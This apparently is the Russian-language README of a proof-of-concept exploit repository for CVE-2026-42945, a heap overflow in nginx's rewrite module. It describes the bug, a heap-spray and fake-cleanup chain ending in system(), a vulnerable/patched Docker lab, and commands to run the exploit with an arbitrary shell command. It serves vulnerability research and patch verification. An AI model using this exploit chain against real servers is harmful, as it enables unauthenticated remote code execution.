PoC для CVE-2026-42945 (nginx Rift) — переполнение буфера в куче в ngx_http_rewrite_module. Включает режимы обнаружения/зондирования/эксплуатации, двухфиксаторную Docker-лабораторию, эмпирическое обнаружение адресов, проверку смещения OOB. Первоначальное раскрытие от depthfirst.
RCE proof-of-concept для CVE-2026-42945, критического переполнения буфера в куче в модуле ngx_http_rewrite_module NGINX, появившегося в 2008 году. Позволяет неаутентифицированное удаленное выполнение кода на серверах, использующих комбинации rewrite ... ?... + set для захвата.
Первоначальное раскрытие уязвимости: depthfirst — обнаружена вместе с CVE-2026-42946, CVE-2026-40701, CVE-2026-42934 с помощью их автономной системы аудита исходного кода.
poc-CVE-2026-42945/
├── exploit.py — improved PoC (3 modes: --check / --probe / --exploit)
├── poc.py.orig — original depthfirst PoC (reference)
├── env/ — dual-fixture Docker lab
│ ├── Dockerfile (vuln: nginx commit 98fc3bb78)
│ ├── Dockerfile.patched (patched: release-1.31.0)
│ ├── docker-compose.yml (both services)
│ ├── nginx.conf (vulnerable rewrite + set config)
│ ├── entrypoint.sh (runs under setarch -R — ASLR off)
│ └── server.py (backend stub)
├── discover-addresses.sh — extract HEAP_BASE / LIBC_BASE / system() offset from running container
├── verify.sh — dual-fixture reproducer (exploit vuln, prove patched blocks)
├── setup.sh — build helper (legacy single-image)
├── references.md — full bug mechanics, exploitation strategy, mitigations
└── README.md — this file
Двухпроходный скриптовый движок, рассинхронизация флага is_args:
is_args = 0 → выделяет сырую длину захватаis_args = 1 → ngx_escape_uri(NGX_ESCAPE_ARGS) 3x расширение → переполнение кучиЭксплуатация: heap feng shui через тело POST /spray (нулевые байты разрешены в теле, внедрен поддельный ngx_pool_cleanup_s) + переполнение URI, повреждающее соседнюю голову ngx_pool_t.cleanup. Уничтожение пула → system(cmd).
Полная механика и стратегия эксплуатации в references.md.
| Продукт | Затронутые | Исправленные |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Уведомление вендора: https://my.f5.com/manage/s/article/K000160932
# Build both fixtures
docker compose -f env/docker-compose.yml build
# Start lab (vuln=:19321, patched=:19421)
docker compose -f env/docker-compose.yml up -d
# Detect-only (no overflow trigger)
python3 exploit.py --check --host 127.0.0.1 --port 19321
# Full exploit
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
--cmd 'echo pwned > /tmp/rift'
docker exec nginx-rift-vuln cat /tmp/rift
# Dual-fixture verify (exploit vuln + confirm patched blocks)
./verify.sh
# Teardown
docker compose -f env/docker-compose.yml down
| Режим | Сценарий использования | Побочный эффект |
|---|---|---|
--check | Определение наличия поверхности rewrite | Нет — только отправка маленьких пробных URI |
--probe | Перебор offsets для приземления spray для ЭТОЙ сборки | Вызывает краш рабочих процессов во время поиска; без выполнения |
--exploit | Полная цепочка RCE | Краш рабочего процесса + вызов system() с --cmd |
Для целей, не являющихся localhost, требуется флаг --i-have-tested-this (подтверждение, что жестко заданные offsets соответствуют развернутой сборке).
Значения по умолчанию --heap-base / --libc-base / --system-offset соответствуют встроенной лаборатории (Ubuntu 22.04 / glibc 2.35 / nginx commit 98fc3bb78 / ASLR выключен). Для новой сборки или другой libc:
docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# Copy values into exploit.py invocation
setarch -R. Реальные цели имеют включенный ASLR — требуется дополнительный примитив утечки информации.rewrite ... ? + set $X $N в развернутом nginx.conf. Во многих реальных конфигурациях этого нет.--check, перебор offset --probe, исправленный фикстур, помощник определения адресов, верификатор двойного фикстура